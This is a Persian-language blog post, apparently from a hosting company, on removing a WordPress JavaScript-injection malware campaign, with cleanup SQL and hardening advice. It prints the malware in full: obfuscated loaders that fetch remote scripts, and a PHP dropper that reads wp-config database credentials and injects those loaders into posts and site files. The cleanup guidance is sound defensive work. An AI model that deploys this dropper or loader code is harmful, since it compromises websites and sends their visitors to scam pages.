
رفع همیشگی بد افزارها و ویروس ها از وردپرس
آیا تا به حال با بد افزارها و ویروس ها مواجه شده اید؟
آیا به این موضوع فکر کرده اید که چگونه می توان برای همیشه آن ها را حذف کرد؟
همانطور که می دانید سایت های زیادی با هکر ها و ویروس ها درگیر می شوند؛ با گذشت زمان ویروس های متنوعی ساخته و سیستم ها را مختل می کند به این منظور ما قصد داریم در این مقاله نحوه رفع ویروس ها و بد افزار ها را مورد بررسی قرار دهیم؛ ویروس جدید از دامنه mono.declarebusinessgroup.ga ، solo.declarebusinessgroup.ga ، deklarebusinessgroup.ga ، trendopportunityfollow.ga ، sinistermousemove.artو lowerbeforwarden.ml بسیاری از سایت های وردپرس را آلوده می کنند این ویروس یک نوع ویروس تبلیغاتی و مخرب است و جاوا اسکریپت را به هر پست و صفحه هدایت می کند ، وقتی بازدید کنندگان از سایت شما بازدید می کنند ، آنها را از طریق javascript به سایت های کلاهبرداری هدایت می کنند این نوع حمله، حمله Javascript Injects نامیده می شود. اگر سایت شما بازدیدکنندگان را به برخی از صفحات وب که ظاهری زشت دارند هدایت می کند ، این ویروس ممکن است در سایت شما وجود داشته باشد. برای پس گرفتن وب سایت خود با ما در شتابان هاست همراه باشید.
برخی از بدافزارهای متداول مانند lowerbeforwarden.ml عبارت اند از:
- js.donatelloflowfirstly.ga
- js.donatelloflowfirstly.ga/statistics.js?n=ns1
- scripts.lowerbeforwarden.ml
- scripts.lowerbeforwarden.ml/src.js?n=ns1
- source.lowerbeforwarden.ml
- directednotconverted.ml
- temp.lowerbeforwarden.ml/det.php
- rms_unique_wp_mu_pl_fl_nm.php
- location.lowerbeforwarden.ml
- go.donatelloflowfirstly.ga
- ۰٫directednotconverted.ml
- trendopportunityfollow.ga
- solo.declarebusinessgroup.ga
- sinistermousemove.art
- mono.declarebusinessgroup.ga
- declarebusinessgroup.ga
- bono.declarebusinessgroup.ga
- http://mono.declarebusinessgroup.ga/m.js
اولین قدم این است که شما باید، دایرکتوری publich_html یا فهرست اصلی سایت خود را بررسی کنید شاید فایلی را پیدا کنید به نام: (_a) این یک کد تزریق بدافزار است.
<script src='https://js.donatelloflowfirstly.ga/stat.js?n=ns1' type='text/javascript'></script> <script src='https://temp.lowerbeforwarden.ml/temp.js?n=ns1' type='text/javascript'></script> <script src='https://sinistermousemove.art/src.js?n=ns1' type='text/javascript'></script> <script src='https://solo.declarebusinessgroup.ga/temp.js?n=ns1' type='text/javascript'></script> <script type='text/javascript' src='https://mono.declarebusinessgroup.ga/m.js?n=nb5'></script> <script type='text/javascript' src='https://bono.declarebusinessgroup.ga/m.js?n=nb5'></script>
همانطور که مشاهده می کنید؛ کد ، اطلاعات ورود DB را نشان می دهد و کد اسکریپت را به هر فایل index.php و عملکرد تم تزریق می کند.
نحوه تمیز کردن سایت وردپرس deklarebusinessgroup.ga و sinistermousemoveVirus
۱- بدافزار را که در آن فایل های اسکریپت قرار داده شده حذف کنید
قبل از تغییر هر کدی ، از کل سایت خود از جمله دیتابیس ، نسخه بکاپ تهیه کنید.
ابتدا ، _a ، _f ، _۲ ، lte_ و غیره را حذف کنید … فایل را از فهرست خانه (public_html) سایت خود وارد کنید
۲- حذف پرونده های ناخواسته PHP از پوشه mu-plugin
در صورت مشاهده کد مخرب در پوشه Mu-Plugins در بخش محتوای WP ،آن را حذف کنید.
به عنوان مثال ، می توانید فایل ویروس rms_unique_wp_mu_pl_fl_nm.php را در تصویر ارائه شده در زیر مشاهده کنید.
Bono.declarebusinessgroup.ga و sinistermousemove.art را پاک کنید و اسکریپت ها را از دیتابیس هدایت کنید
۳- اکنون باید دیتابیس را تمیز کنید
به PhpMyAdmin بروید. برای حذف اسکریپت ها از جداول WP_Posts ، دیتابیس مناسب را انتخاب کرده و SQL زیر را اجرا کنید. مطمئن شوید که متن را متناسب با آنچه در فایل خود مشخص کرده اید تغییر داده اید.
UPDATE wp_posts SET post_content = (REPLACE (post_content, "<script src='https://mono.declarebusinessgroup.ga/temp.js?n=ns1' type='text/javascript'></script>", ""));
ممکن است لازم باشد متن را با توجه به دامنه ویروس و پیکربندی My SQL تغییر دهید
UPDATE wp_posts SET post_content = (REPLACE (post_content, "<script type='text/javascript' src='https://bono.declarebusinessgroup.ga/m.js?n=nb5'></script>", ""));
UPDATE wp_posts SET post_content = (REPLACE (post_content, "<script src='https://sinistermousemove.art/src.js?n=ns1' type='text/javascript'></script>", ""));
UPDATE wp_posts SET post_content = (REPLACE (post_content, "<script src='https://scripts.lowerbeforwarden.ml/src.js?n=ns1' type='text/javascript'></script>", ""));
این روش برای ویروسهای مشابه نیز مفید خواهد بود ، فقط باید نام دامنه را متناسب با آن تغییر دهید.
- .donatelloflowfirstly.ga
- js.donatelloflowfirstly.ga
- go.donatelloflowfirstly.ga
- lowerbeforwarden.ml
- source.lowerbeforwarden.ml
- scripts.lowerbeforwarden.ml
- location.lowerbeforwarden.ml
- temp.lowerbeforwarden.ml
- Source.lowerbeforwarden.ml
- ۰٫directednotconverted.ml
- trendopportunityfollow.ga
- solo.declarebusinessgroup.ga
- sinistermousemove.art
- mono.declarebusinessgroup.ga
URL های اصلی را در جدول WP_Options بررسی و جایگزین کنید
URL های هرزنامه sinistermousemove.art & mono.declarebusinessgroup.ga را از جدول WP_Options حذف کنید
URL سایت و آدرس اصلی خود را در جدول wp_options در Database بررسی کنید و مطمئن شوید که آدرس درست را تغییر داده اید. این دلیل اصلی هنگام باز کردن وب سایت شما به چندین سایت هدایت می شود که ممکن است از شما بخواهند هویت خود را بارها و بارها تأیید کنید.
اکنون حافظه پنهان وب سایت خود را پاک کرده و از یک مرورگر جدید یا ویروس ناشناس بررسی کنید
۴- تمام فایل های index.php را تمیز کنید
همه فایل های index.php را بررسی کنید که حاوی اسکریپت های مخرب مانند sinistermousemove.art نیست.
۵- فایل های اصلی وردپرس را جایگزین کنید
بهترین روش برای جایگزینی فایل های اصلی وردپرس رفتن به Admin dashboard -> Update و کلیک مجدد روی نصب مجدد WordPress است.
اگر قادر به ورود به داشبورد مدیریت وردپرس نیستید ، روش شرح داده شده در زیر خوب کار خواهد کرد
همه فایل های اصلی وردپرس خود را به استثنای پوشه WP-Content جایگزین / بازنویسی کنید.
با انجام این مراحل ساده می توان این کار را انجام داد .
آخرین نسخه وردپرس را دانلود کنید.
آن را از حالت فشرده خارج کرده و Wp-Content را از پوشه استخراج شده (extracted) حذف کنید.
دوباره آن را zip کنید
آن را در پوشه اصلی وب سایت خود آپلود کنید
پس از آپلود ، فایل ها را استخراج کنید
به پوشه ای بروید که فایلهای اصلی را در آن استخراج کرده اید ، نام پوشه باید همان نام فایل zip باشد که نصب کرده اید.
گزینه همه یا (all) را انتخاب کرده و به پوشه اصلی منتقل کنید.
اکنون فایل های اصلی وردپرس شما عاری از هرگونه ویروس و بدافزار است.
۶- در صورت لزوم پوسته ها و پلاگین ها را جایگزین کنید
پوشه قالب یا تم فعلی فعال را از پوشه WP-Content / Themes پاک کرده و یک پوشه جدید ایجاد کنید. پس از حذف تم فعال ، فایل zip پوسته را مجدداً در همان دایرکتوری آپلود کرده و آن را استخراج کنید. یکی از فایل های zip حذف شد.
اگر قالب فعال است ، مطمئن شوید که آنها را نیز آپلود و استخراج کرده اید.
همچنین ، تمام تم های استفاده نشده را از پوشه WP-Content / Themes حذف کنید
ایمن باشید امنیت سایت وردپرس خود را تقویت کنید
اجازه ویرایش فایل را ندارید
اگر کاربری به سرپرست داشبورد وردپرس شما دسترسی داشته باشد ، می تواند فایلهایی را که بخشی از نصب وردپرس شما هستند ویرایش کند. این بخش شامل تمام افزونه ها و قالب ها است.
اگر ویرایش فایل را نپذیرید ، هیچ کس نمی تواند هیچ یک از فایل ها را اصلاح کند؛
حال اگر یک هکر دسترسی مدیر را به داشبورد وردپرس شما بدست آورد:
شما می توانید برای انجام این کار ، موارد زیر را به فایل wp-config.php (در انتهای آن) اضافه کنید:
define('DISALLOW_FILE_EDIT', true);
فقط افزونه ها و موضوعات مورد اعتماد وردپرس را نصب کنید
افزونه ها و قالب استفاده نشده را حذف کنید
۷- یک افزونه امنیتی وردپرس نصب کنید
نصب افزونه امنیتی وردپرس در مورد افزایش امنیت سایت شما کاری مبرم نیست. برای پیشگیرانه تر شدن در برابر تهدیدات امنیتی ، سعی کنید افزونه ای مانند یکی از این موارد را نصب کنید تا آسیب پذیری های امنیتی را به حداقل برسانید.
۸- فایل wp-config را ایمن کنید
فایل wp-config شامل جزئیات پیکربندی پایه وب سایت شما ، مانند اطلاعات اتصال پایگاه داده است. برای محافظت از فایل wp-config.php در برابر نفوذ ، کد زیر را به فایل .htaccess خود اضافه کنید تا دسترسی به هر کسی را که در آن نفوذ می کند ، منع کنید:
<files wp-config.php> order allow,deny deny from all </files>
۹- از هاست امن تری استفاده کنید
اگر از هاست مشترک سایت خود استفاده می کنید ، ممکن است به دلیل دیگری که شامل یک backdoor در سرور است هک شوید بنابراین بهتر است از VPS استفاده کنید
من توصیه می کنم از VPS اختصاصی Digital Digital یا AWS استفاده کنید که می توانید ماهیانه ۵ دلار دریافت کنید
بررسی دوره ای فایل تغییر می کند
برای پیگیری تغییرات فایل می توانید از افزونه های امنیتی استفاده کنید
گذرواژه های دیتابیس خود را تغییر دهید و همان را در فایل wpconfig.php به روز کنید
۱۰- سایر فایل های اصلی را پاک کنید
روش های زیادی برای پاک کردن فایل های وردپرس شما وجود دارد. یکی از این روش ها:
۱): همه فایل های سایت را فشرده و فایل zip را روی دسک تاپ دانلود کنید.
۲): فایل ها را از پوشه خارج کنید.
۳): پوشه wp-content / plugins و همه افزونه ها را حذف کنید. سپس با افزونه های پاک شده وارد پوشه شوید. همان فایل های تم ، همه تم ها را حذف کنید و تم های تمیز را جایگزین کنید.
۴): اکنون ویرایشگر VSCode را اجرا کنید.
۵): پوشه مورد نظر را از طریق VSCode باز کنید ، سپس روی گزینه Edit > Search in the files کلیک کنید تا کلمات کلیدی را جستجو کنید: donatelloflowfirstly. از آنجا که ما همه فایل های Cached را حذف کرده و همه پوسته و افزونه ها را جایگزین کرده ایم ، باید فقط چند فایل پیدا شود.
۶): اکنون همه فایل ها باید تمیز باشند. کل سایت خود را حذف کرده و این نسخه بکاپ پاک و در پوشه سایت آپلود کنید.
اگر می توانید به پنل مدیریت سایت وارد شوید ، روش دیگری برای پاک کردن فایل وجود دارد. افزونه Wordfence را نصب کرده و کل صفحه را اسکن کنید. Wordfence به آن فایل های تزریقی پی خواهد برد ، فقط آنها را ویرایش کرده یا فایلهای تمیز را جایگزین آنها می کند.
اکنون فایل های حافظه پنهان وب سایت خود و حافظه پنهان مرورگر خود را پاک کنید و ویروس بررسی شود
نسخه های رمزگذاری شده جدید ویروس deklarebusinessgroup.ga و lowerbeforwarden.ml
اخیراً هکرها درج نسخه رمزگذاری شده این کد مخرب را آغاز کرده اند
<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97,47,115,116,97,116,115,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script></head>
<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,115,111,108,111,46,100,101,99,108,97,114,101,98,117,115,105,110,101,115,115,103,114,111,117,112,46,103,97,47,116,101,109,112,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>
نسخه رمزگشایی این اسکریپت مخرب در زیر آورده شده است
<script type=text/javascript> Element.prototype.appendAfter = function(element) { element.parentNode.insertBefore(this, element.nextSibling); } , false; (function() { var elem = document.createElement(script); elem.type = text/javascript elem.src = https://js.donatelloflowfirstly.ga/stats.jselem.appendAfter(document.getElementsByTagName(script)[0]); elem.appendAfter(document.getElementsByTagName(head)[0]); document.getElementsByTagName(head)[0].appendChild(elem); } )(); </script></head>
<script type=text/javascript> Element.prototype.appendAfter = function(element) { element.parentNode.insertBefore(this, element.nextSibling); } , false; (function() { var elem = document.createElement(script); elem.type = text/javascript elem.src = https://solo.declarebusinessgroup.ga/temp.jselem.appendAfter(document.getElementsByTagName(script)[0]); elem.appendAfter(document.getElementsByTagName(head)[0]); document.getElementsByTagName(head)[0].appendChild(elem); } )(); </script>
چرا این نوع حمله اتفاق می افتد؟
به احتمال زیاد افزونه ها و پوسته Nulled باعث این نوع تزریق بدافزارها می شود بنابراین تمام قالب ها و افزونه هایی را که از منابع غیر مجاز دانلود کرده اید حذف کنید
دلایل دیگر:
تم و پلاگین های شما برای مدت طولانی به روز نمی شوند
ممکن است عمده نسخه های اصلی وردپرس را از دست داده باشید
شما ممکن است از هر تم یا افزونه پوچ یا شکسته شده ای در وب سایت خود استفاده کنید
ممکن است xmlrpc.php را برای کاربران عمومی غیرفعال نکرده باشید
در اینجا محتوای فایل بدافزار _a آمده است:
<?php echo "ssqqss>>>"; error_reporting(E_ALL); ini_set('display_errors',1); search_file_ms($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","wp-config.php"); die(); function get_var_reg($pat,$text) { if ($c = preg_match_all ("/".$pat."/is", $text, $matches)) { return $matches[1][0]; } return ""; } function search_file_ms($dir,$file_to_search){ $search_array = array(); $files = scandir($dir); if($files == false) { $dir = substr($dir, 0, -3); if (strpos($dir, '../') !== false) { @search_file_ms( $dir,$file_to_search); return; } if($dir == $_SERVER['DOCUMENT_ROOT']."/") { @search_file_ms( $dir,$file_to_search); return; } } foreach($files as $key => $value){ $path = realpath($dir.DIRECTORY_SEPARATOR.$value); if(!is_dir($path)) { if (strpos($value,$file_to_search) !== false) { show_sitenames($path); } } else if($value != "." && $value != "..") { @search_file_ms($path, $file_to_search); } } } function show_sitenames($file){ $content = @file_get_contents($file); if(strpos($content, "DB_NAME") !== false) { $db = get_var_reg("'DB_NAME'.*?,.*?['|\"](.*?)['|\"]",$content); $host = get_var_reg("'DB_HOST'.*?,.*?['|\"](.*?)['|\"]",$content); $user = get_var_reg("'DB_USER'.*?,.*?['|\"](.*?)['|\"]",$content); $pass = get_var_reg("'DB_PASSWORD'.*?,.*?['|\"](.*?)['|\"]",$content); // Create connection $conn = new mysqli($host, $user, $pass); // Check connection if ($conn->connect_error) { } else { $q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES WHERE `TABLE_NAME` LIKE '%post%'"; $result = $conn->query($q); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { $q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." LIMIT 1 "; $result2 = $conn->query($q2); if ($result2->num_rows > 0) { while($row2 = $result2->fetch_assoc()) { $val = $row2['post_content']; if(strpos($val, "js.donatelloflowfirstly.ga") === false){ if(strpos($val, "js.donatelloflowfirstly.ga") === false){ $q3 = "UPDATE " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." set post_content = CONCAT(post_content,\"<script src='https://js.donatelloflowfirstly.ga/stat.js?n=ns1' type='text/javascript'></script>\") WHERE post_content NOT LIKE '%js.donatelloflowfirstly.ga%'"; $conn->query($q3); echo "sql:" . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]; } else { } } } } else { } } } else { } $conn->close(); } } } function search_file($dir,$file_to_search){ $files = @scandir($dir); if($files == false) { $dir = substr($dir, 0, -3); if (strpos($dir, '../') !== false) { @search_file( $dir,$file_to_search); return; } if($dir == $_SERVER['DOCUMENT_ROOT']."/") { @search_file( $dir,$file_to_search); return; } } foreach($files as $key => $value){ $path = realpath($dir.DIRECTORY_SEPARATOR.$value); if(!is_dir($path)) { if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) { make_it($path); } }else if($value != "." && $value != "..") { search_file($path, $file_to_search); } } } function search_file_index($dir,$file_to_search){ $files = @scandir($dir); if($files == false) { $dir = substr($dir, 0, -3); if (strpos($dir, '../') !== false) { search_file_index( $dir,$file_to_search); return; } if($dir == $_SERVER['DOCUMENT_ROOT']."/") { search_file_index( $dir,$file_to_search); return; } } foreach($files as $key => $value){ $path = realpath($dir.DIRECTORY_SEPARATOR.$value); if(!is_dir($path)) { if (strpos($value,$file_to_search) !== false && (strpos($value,".ph") !== false || strpos($value,".htm")) !== false) { make_it_index($path); } }else if($value != "." && $value != "..") { search_file_index($path, $file_to_search); } } } function search_file_js($dir,$file_to_search){ $files = @scandir($dir); if($files == false) { $dir = substr($dir, 0, -3); if (strpos($dir, '../') !== false) { @search_file_js( $dir,$file_to_search); return; } if($dir == $_SERVER['DOCUMENT_ROOT']."/") { @search_file_js( $dir,$file_to_search); return; } } foreach($files as $key => $value){ $path = realpath($dir.DIRECTORY_SEPARATOR.$value); if(!is_dir($path)) { if (strpos($value,$file_to_search) !== false && (strpos($value,".js") !== false)) { make_it_js($path); } }else if($value != "." && $value != "..") { search_file_js($path, $file_to_search); } } } function make_it_js($f){ $g = file_get_contents($f); if (strpos($g, '106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97') !== false) { } else { $l2 = "Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();"; $g = file_get_contents($f); $g = $l2.$g; @system('chmod 777 '.$f); @file_put_contents($f,$g); echo "js:".$f."\r\n"; } } function make_it_index($f){ if (strpos($g, '106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97') !== false || strpos($g, 'js.donatelloflowfirstly.ga') !== false) { } else { $l2 = "<script type='text/javascript' src='https://js.donatelloflowfirstly.ga/stat.js?n=nb5'></script>"; $g = file_get_contents($f); $g = $l2.$g; @system('chmod 777 '.$f); @file_put_contents($f,$g); echo "in:".$f."\r\n"; } } function make_it($f){ $g = file_get_contents($f); if (strpos($g, '106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97') !== false) { } else { $l2 = "<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createEle ment(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,106,115,46,100,111,110,97,116,101,108,108,111,102,108,111,119,102,105,114,115,116,108,121,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>"; if (strpos($g, '<head>') !== false) { $b = str_replace("<head>","<head>".$l2,$g); @system('chmod 777 '.$f); @file_put_contents($f,$b); echo "hh:".$f."\r\n"; } if (strpos($g, '</head>') !== false) { $b = str_replace("</head>",$l2."</head>",$g); @system('chmod 777 '.$f); @file_put_contents($f,$b); echo "hh:".$f."\r\n"; } } }
ما را در شتابان هاست دنبال کنید.
ارسال دیدگاه جدید